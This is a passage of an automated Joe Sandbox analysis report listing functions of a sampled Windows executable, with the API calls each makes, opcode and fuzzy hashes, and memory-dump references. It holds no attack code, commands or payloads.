inet_ntoa.WSOCK32(?), ref: 00BA1E8C
htons.WSOCK32(?,?,?,?,?), ref: 00BA1EDB
_strlen.LIBCMT ref: 00BA1F35

Part of subcall function 00B839E8: _strlen.LIBCMT ref: 00B839F2

Part of subcall function 00B26D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,00B3CF58,?,?,?), ref: 00B26DBA
Part of subcall function 00B26D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,00B3CF58,?,?,?), ref: 00B26DED

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: 0c7e70a177920c9eb14d5963a151251eb9ac6f4f7013a1cef6f2b759210f4928
Instruction ID: 8b7c18d2e7fa92c8718351ef91ecfc3a656ae9a991de5ae01e1b169e0c5b5454
Opcode Fuzzy Hash: 0c7e70a177920c9eb14d5963a151251eb9ac6f4f7013a1cef6f2b759210f4928
Instruction Fuzzy Hash: B7A1E131508350AFC324EF28C895F2A7BE5EF85318F54899CF45A5B2A2CB71ED46CB91

Function 00B561FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00B482D9,00B482D9,?,?,?,00B5644F,00000001,00000001,8BE85006), ref: 00B56258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00B5644F,00000001,00000001,8BE85006,?,?,?), ref: 00B562DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00B563D8
__freea.LIBCMT ref: 00B563E5

Part of subcall function 00B53820: RtlAllocateHeap.NTDLL(00000000,?,00BF1444,?,00B3FDF5,?,?,00B2A976,00000010,00BF1440,00B213FC,?,00B213C6,?,00B21129), ref: 00B53852

__freea.LIBCMT ref: 00B563EE
__freea.LIBCMT ref: 00B56413

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: c8783e6f4c7c90df99b96f519c9b7a647f65a31f72350f6860d178b22a5bcd10
Instruction ID: 7a84f9aa4242f39e3bb8f3e5c9e6acbb47aa072b1d6033eb5c109a55a3674338
Opcode Fuzzy Hash: c8783e6f4c7c90df99b96f519c9b7a647f65a31f72350f6860d178b22a5bcd10
Instruction Fuzzy Hash: 2E51D072A00216ABEB258F68DC81FAF7BE9EB48751F5446E9FC05E7140EB34DC48C664

Function 00BABBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00BAC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BAB6AE,?,?), ref: 00BAC9B5
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BAC9F1
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA68
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BABCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BABD25
RegCloseKey.ADVAPI32(00000000), ref: 00BABD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00BABD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00BABDF3
RegCloseKey.ADVAPI32(?), ref: 00BABDFF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 60998de0e631ea739c7e303b3f31d31d329e12e5af2f783a859a4d98e798a307
Instruction ID: e039e63b93970a9312f40c6c12c95c2f40fc2a36216fec9fc200b5b147755415
Opcode Fuzzy Hash: 60998de0e631ea739c7e303b3f31d31d329e12e5af2f783a859a4d98e798a307
Instruction Fuzzy Hash: B6819271118241EFD714DF24C895E2ABBE5FF85308F1489ACF4A94B2A2DB31ED45CB92

Function 00B7F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00B7F7B9
SysAllocString.OLEAUT32(00000001), ref: 00B7F860
VariantCopy.OLEAUT32(00B7FA64,00000000), ref: 00B7F889
VariantClear.OLEAUT32(00B7FA64), ref: 00B7F8AD
VariantCopy.OLEAUT32(00B7FA64,00000000), ref: 00B7F8B1
VariantClear.OLEAUT32(?), ref: 00B7F8BB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 0d69e29d694c72ae2e4a175dd07f201dd50e7bbffa1e7e86f2b3b594f4358a9a
Instruction ID: b3c2bc6b01e6e5298daf02e452b9d3c732d1d855c478708ba901281eb2525839
Opcode Fuzzy Hash: 0d69e29d694c72ae2e4a175dd07f201dd50e7bbffa1e7e86f2b3b594f4358a9a
Instruction Fuzzy Hash: 5051A331514312AACF24AB65D895B79B3E4EF45310F24D4E6E919EF291DB70CC40C7AA

Function 00B9910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00B27620: _wcslen.LIBCMT ref: 00B27625

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00B994E5
_wcslen.LIBCMT ref: 00B99506
_wcslen.LIBCMT ref: 00B9952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00B99585

Strings

X, xrefs: 00B99412

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: ab4dc65591280be2d4c313c6a7b4f840f394135c0940a96864cb977151070ec1
Instruction ID: 0624303bcad7f7911b5a9409945b3546f20bef8117002052151c1d0dd1bc58ff
Opcode Fuzzy Hash: ab4dc65591280be2d4c313c6a7b4f840f394135c0940a96864cb977151070ec1
Instruction Fuzzy Hash: B1E1BF315083509FDB64DF28D881A6AB7E4FF94310F0489BDF8899B2A2DB31DD05CB92

Function 00B3920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

BeginPaint.USER32(?,?,?), ref: 00B39241
GetWindowRect.USER32(?,?), ref: 00B392A5
ScreenToClient.USER32(?,?), ref: 00B392C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00B392D3
EndPaint.USER32(?,?,?,?,?), ref: 00B39321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00B771EA

Part of subcall function 00B39339: BeginPath.GDI32(00000000), ref: 00B39357

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 918b1957f6d844a0c64cc90806e69be7c24cc29222536ad23e6f29442657e0b1
Instruction ID: 30b3fff88eb1ab87951e3dd019063396b8b0a8594bdf1eba84fe4630eeb3d941
Opcode Fuzzy Hash: 918b1957f6d844a0c64cc90806e69be7c24cc29222536ad23e6f29442657e0b1
Instruction Fuzzy Hash: 7A41AD70108200EFD711DF29CC84FBA7BE8EF55320F244AA9F9A5972E1CBB19845DB61

Function 00B907EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00B9080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00B90847
EnterCriticalSection.KERNEL32(?), ref: 00B90863
LeaveCriticalSection.KERNEL32(?), ref: 00B908DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00B908F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00B90921

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 6d30af928de234b7158a374bf47f4dfc742baa93eaae2504efaf6bcbb520e06c
Instruction ID: 3f1e4296f134bff51db4536e89256d40dbd3d19bf02e736c823f5e8d8ca1ff38
Opcode Fuzzy Hash: 6d30af928de234b7158a374bf47f4dfc742baa93eaae2504efaf6bcbb520e06c
Instruction Fuzzy Hash: 4D415771A10206AFDF14EF54DC85AAA7BB8FF04300F1440B9ED00AB296DB70DE60DBA0

Function 00BB81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00B7F3AB,00000000,?,?,00000000,?,00B7682C,00000004,00000000,00000000), ref: 00BB824C
EnableWindow.USER32(?,00000000), ref: 00BB8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00BB82D1
ShowWindow.USER32(?,00000004), ref: 00BB82E5
EnableWindow.USER32(?,00000001), ref: 00BB830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00BB832F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 08bba3d875cdea9d76a8adada4648121bd8ba16c2b93cc80e7c67f73f40e3ccf
Instruction ID: c8fce94498643fc67504b39a41ec2a582cbd278b728225ad50c382a5f66d2299
Opcode Fuzzy Hash: 08bba3d875cdea9d76a8adada4648121bd8ba16c2b93cc80e7c67f73f40e3ccf
Instruction Fuzzy Hash: A4416134601644EFDB16CF15D899BF47BE5FB4A714F1842E9E5084B262CBB1AC41CF94

Function 00B84C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B84C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B84CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B84CEA
_wcslen.LIBCMT ref: 00B84D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B84D10
_wcsstr.LIBVCRUNTIME ref: 00B84D1A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 72df2973a55cd87fdda95dbb18604b83cf72dbe79e54d957895bb1d7ab307c4f
Instruction ID: 8e6c26877349ca45848a784237be146a02b50acc32bd6905e61701dc3c943923
Opcode Fuzzy Hash: 72df2973a55cd87fdda95dbb18604b83cf72dbe79e54d957895bb1d7ab307c4f
Instruction Fuzzy Hash: CC21B372604216BBEB15AB299C49E7B7BDCDB45750F1040B9F805CB1A1EBA19D01D7A0

Function 00B9581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00B23AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B23A97,?,?,00B22E7F,?,?,?,00000000), ref: 00B23AC2

_wcslen.LIBCMT ref: 00B9587B
CoInitialize.OLE32(00000000), ref: 00B95995
CoCreateInstance.OLE32(00BBFCF8,00000000,00000001,00BBFB68,?), ref: 00B959AE
CoUninitialize.OLE32 ref: 00B959CC

Strings

.lnk, xrefs: 00B95876, 00B958C1, 00B95985

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 5fc556559de6cedb1543ae3ec7d085c18238abd3212070589bfe0375128ff4f9
Instruction ID: e1bff913a5959f033ac4a917e6cfde88bcec110fdc2e2612ec44a72c4275cd6c
Opcode Fuzzy Hash: 5fc556559de6cedb1543ae3ec7d085c18238abd3212070589bfe0375128ff4f9
Instruction Fuzzy Hash: A4D173716487119FCB24DF24C480A2ABBE5FF89710F1488ADF8899B361DB31ED45CB92

Function 00B8175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B80FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B80FCA
Part of subcall function 00B80FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B80FD6
Part of subcall function 00B80FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B80FE5
Part of subcall function 00B80FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B80FEC
Part of subcall function 00B80FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B81002

GetLengthSid.ADVAPI32(?,00000000,00B81335), ref: 00B817AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B817BA
HeapAlloc.KERNEL32(00000000), ref: 00B817C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00B817DA
GetProcessHeap.KERNEL32(00000000,00000000,00B81335), ref: 00B817EE
HeapFree.KERNEL32(00000000), ref: 00B817F5

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: d3570a3d9eb503533d458a7f14aa737731e5b07f776375477aa9888824ce6c7f
Instruction ID: 6587f66022ca605b49e37d9495607afd65dd4ac9a87fb7ed9735371f53120919
Opcode Fuzzy Hash: d3570a3d9eb503533d458a7f14aa737731e5b07f776375477aa9888824ce6c7f
Instruction Fuzzy Hash: C011DCB6502204EFDB10EFA8DC48BAE7BECEB41355F10499DF581A7220CB75AD01CB60

Function 00B814CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00B814FF
OpenProcessToken.ADVAPI32(00000000), ref: 00B81506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00B81515
CloseHandle.KERNEL32(00000004), ref: 00B81520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B8154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00B81563

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: d5ab566344b7931f22991483db8c8ccbc8df7908b785d43aaabd07736f3ac490
Instruction ID: ffb97f56a201eb4bb74234afac93ee4343ea18d6ea626d3b746e94ea5d0ccdb6
Opcode Fuzzy Hash: d5ab566344b7931f22991483db8c8ccbc8df7908b785d43aaabd07736f3ac490
Instruction Fuzzy Hash: AA115672505209ABDF11DFA8ED49FDE7BADEF48704F044164FA05A2160C7B1CE61DB60

Function 00B43382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B43379,00B42FE5), ref: 00B43390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B4339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B433B7
SetLastError.KERNEL32(00000000,?,00B43379,00B42FE5), ref: 00B43409

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6ea4e10131aa5606162e533e54dfdadbb98575f04ab42dfc703dd3e43dd79163
Instruction ID: ec87e62b9c7b116767930fb3b5f51aaa5291f8642766ce776719eb77703ed606
Opcode Fuzzy Hash: 6ea4e10131aa5606162e533e54dfdadbb98575f04ab42dfc703dd3e43dd79163
Instruction Fuzzy Hash: F001D83360D312BFAA192BB47CC56562ED4EB05F7972802A9F420862F2EF614F027548

Function 00B52D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B55686,00B63CD6,?,00000000,?,00B55B6A,?,?,?,?,?,00B4E6D1,?,00BE8A48), ref: 00B52D78
_free.LIBCMT ref: 00B52DAB
_free.LIBCMT ref: 00B52DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00B4E6D1,?,00BE8A48,00000010,00B24F4A,?,?,00000000,00B63CD6), ref: 00B52DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00B4E6D1,?,00BE8A48,00000010,00B24F4A,?,?,00000000,00B63CD6), ref: 00B52DEC
_abort.LIBCMT ref: 00B52DF2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3e4252da3ad86b011dbc186f7fa745989a00ec3a3bbabb3cddb55ad4f94ae094
Instruction ID: 6d06b69ea660eab325c2ff8826a1c0f3d6757a56021130263d947ac1769c3a0a
Opcode Fuzzy Hash: 3e4252da3ad86b011dbc186f7fa745989a00ec3a3bbabb3cddb55ad4f94ae094
Instruction Fuzzy Hash: 45F0A436506A0027D2126734AC06F5A2AF9EFC37A3F2445F9FC24A32E2EF75880E4161

Function 00BB8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00B39639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00B39693
Part of subcall function 00B39639: SelectObject.GDI32(?,00000000), ref: 00B396A2
Part of subcall function 00B39639: BeginPath.GDI32(?), ref: 00B396B9
Part of subcall function 00B39639: SelectObject.GDI32(?,00000000), ref: 00B396E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00BB8A4E
LineTo.GDI32(?,00000003,00000000), ref: 00BB8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00BB8A70
LineTo.GDI32(?,00000000,00000003), ref: 00BB8A80
EndPath.GDI32(?), ref: 00BB8A90
StrokePath.GDI32(?), ref: 00BB8AA0

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 2165e291293298e59e0f4903b504748d780d1ea9c53ca1c41bb627d0a2079661
Instruction ID: f07c62818eab721494fdedf5e0252d682896078e2d41c5007639ddba1b4dc39a
Opcode Fuzzy Hash: 2165e291293298e59e0f4903b504748d780d1ea9c53ca1c41bb627d0a2079661
Instruction Fuzzy Hash: 36110976400109FFDB129F94DC88EAA7FACEB08350F008552BA199A1A1CBB19D55DFA0

Function 00B851FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B85218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B85229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B85230
ReleaseDC.USER32(00000000,00000000), ref: 00B85238
